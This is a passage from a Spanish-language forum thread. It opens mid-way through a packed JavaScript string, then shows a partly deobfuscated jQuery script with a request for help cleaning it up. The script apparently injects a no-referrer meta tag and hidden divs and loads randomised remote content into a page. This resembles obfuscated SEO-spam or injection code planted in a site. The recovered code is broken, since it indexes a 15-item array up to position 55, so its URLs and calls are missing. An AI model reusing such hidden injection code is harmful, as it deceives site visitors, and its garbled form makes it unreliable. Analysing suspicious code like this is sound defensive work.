1z=1B;$(a[1o])[a[1v]]();$(a[1o])[a[1m]](1z)}});$(I)[a[N]](a[L])[a[1F]]()}});$(a[1o])[a[1v]]()}})})',62,141,'||||||||||_0x196f|x65|x72|x61|x6F|x74|x73|x20|x6E|x63|x6C|x70|x69|x6D|x68|x2F|x64|x75|x77|x2E|x67|x45|x4F|x66|x53|x2D|browser|x3A|x76|so|x79|x4C|var|x52|this|questionseocon|x62|44|Math|45|document|x41|function|x54|x3D|x4D|_0x9b6cx4|urlseocon|randbrowser|randso|x26|_0x9b6cx3|||||||||||new|_0x9b6cx2|_0x9b6cx1|x44|x55|x6B|Array|41|success|type|49|randquestion|42|url|55|x46|_0x9b6cx8|x71|43|x43|x6A|48|x4E|randurl|39|_0x9b6cxa|x3F|_0x9b6cx9|40|_0x9b6cx7|51|50|_0x9b6cx6|x50|x78|47|if|52|x23|31|54|56|34|33|36|x38|x47|32|35|53|x49|38|||||||||||x48|x57|37|46|x42|_0x9b6cx5|30'.split('|'),0,{}))
y esto es lo máximo que pude recuperar del código.
Insertar CODE, HTML o PHP:
'use strict';
/** @type {!Array} */
var _0x2e4d = ["meta", "createElement", "name", "referrer", "content", "no-referrer", "appendChild", "head", "getElementsByTagName", "div", "style", "display:none", "id", "aeroport", "body"];
$(document)[_0x2e4d[55]](function() {
  var artistTrack = document[_0x2e4d[1]](_0x2e4d[0]);
  artistTrack[_0x2e4d[2]] = _0x2e4d[3];
  artistTrack[_0x2e4d[4]] = _0x2e4d[5];
  document[_0x2e4d[8]](_0x2e4d[7])[0][_0x2e4d[6]](artistTrack);
  var GET_AUTH_URL_TIMEOUT = document[_0x2e4d[1]](_0x2e4d[9]);
  GET_AUTH_URL_TIMEOUT[_0x2e4d[10]] = _0x2e4d[11];
  GET_AUTH_URL_TIMEOUT[_0x2e4d[12]] = _0x2e4d[13];
  document[_0x2e4d[8]](_0x2e4d[14])[0][_0x2e4d[6]](GET_AUTH_URL_TIMEOUT);
  var numKeysDeleted = document[_0x2e4d[1]](_0x2e4d[9]);
  numKeysDeleted[_0x2e4d[10]] = _0x2e4d[11];
  numKeysDeleted[_0x2e4d[12]] = _0x2e4d[15];
  document[_0x2e4d[8]](_0x2e4d[14])[0][_0x2e4d[6]](numKeysDeleted);
  /** @type {!Array} */
  browser = new Array(6);
  /** @type {!Array} */
  so = new Array(5);
  /** @type {!Array} */
  urlseocon = new Array(3);
  /** @type {!Array} */
  questionseocon = new Array(5);
  questionseocon[0] = _0x2e4d[16];
  questionseocon[1] = _0x2e4d[17];
  questionseocon[2] = _0x2e4d[18];
  questionseocon[3] = _0x2e4d[19];
  questionseocon[4] = _0x2e4d[20];
  urlseocon[0] = _0x2e4d[21];
  urlseocon[1] = _0x2e4d[22];
  urlseocon[2] = _0x2e4d[23];
  /** @type {number} */
  randquestion = Math[_0x2e4d[24]]() * questionseocon[_0x2e4d[25]];
  randquestion = Math[_0x2e4d[26]](randquestion);
  /** @type {number} */
  randurl = Math[_0x2e4d[24]]() * urlseocon[_0x2e4d[25]];
  randurl = Math[_0x2e4d[26]](randurl);
  browser[0] = _0x2e4d[27];
  browser[1] = _0x2e4d[28];
  browser[2] = _0x2e4d[29];
  browser[3] = _0x2e4d[30];
  browser[4] = _0x2e4d[31];
  browser[5] = _0x2e4d[32];
  so[0] = _0x2e4d[33];
  so[1] = _0x2e4d[34];
  so[2] = _0x2e4d[35];
  so[3] = _0x2e4d[36];
  so[4] = _0x2e4d[37];
  /** @type {number} */
  randbrowser = Math[_0x2e4d[24]]() * browser[_0x2e4d[25]];
  randbrowser = Math[_0x2e4d[26]](randbrowser);
  /** @type {number} */
  randso = Math[_0x2e4d[24]]() * so[_0x2e4d[25]];
  randso = Math[_0x2e4d[26]](randso);
  $[_0x2e4d[42]]({
    url : _0x2e4d[38],
    type : _0x2e4d[39],
    success : function(theDirectoryEntry) {
      var artistTrack = theDirectoryEntry;
      $(_0x2e4d[41])[_0x2e4d[40]](artistTrack);
    }
  });
  $[_0x2e4d[42]]({
    url : _0x2e4d[43] + questionseocon[randquestion] + _0x2e4d[44] + so[randso] + _0x2e4d[45] + browser[randbrowser] + _0x2e4d[46],
    type : _0x2e4d[39],
    success : function(theDirectoryEntry) {
      var artistTrack = theDirectoryEntry;
      $(_0x2e4d[47])[_0x2e4d[40]](artistTrack);
      $(_0x2e4d[54])[_0x2e4d[53]](function(canCreateDiscussions) {
        if ($(this)[_0x2e4d[49]](_0x2e4d[48]) == _0x2e4d[21] || $(this)[_0x2e4d[49]](_0x2e4d[48]) == _0x2e4d[22] || $(this)[_0x2e4d[49]](_0x2e4d[48]) == _0x2e4d[23]) {
          $[_0x2e4d[42]]({
            url : _0x2e4d[50] + $(this)[_0x2e4d[49]](_0x2e4d[48]),
            type : _0x2e4d[39],
            success : function(theDirectoryEntry) {
              var artistTrack = theDirectoryEntry;
              $(_0x2e4d[47])[_0x2e4d[51]]();
              $(_0x2e4d[47])[_0x2e4d[40]](artistTrack);
            }
          });
          $(this)[_0x2e4d[49]](_0x2e4d[48])[_0x2e4d[52]]();
        }
      });
      $(_0x2e4d[47])[_0x2e4d[51]]();
    }
  });
});

Si alguien logra deofuscarlo y puede retornarme el código limpio pues se lo agradecería.

Eso ya sería para otro tema, porque éste tema ya está solucionado...
Y mucho más no se puede aportar, igual, sigue esperando, quizás alguien te ayude!
 

Temas similares

Atrás
Arriba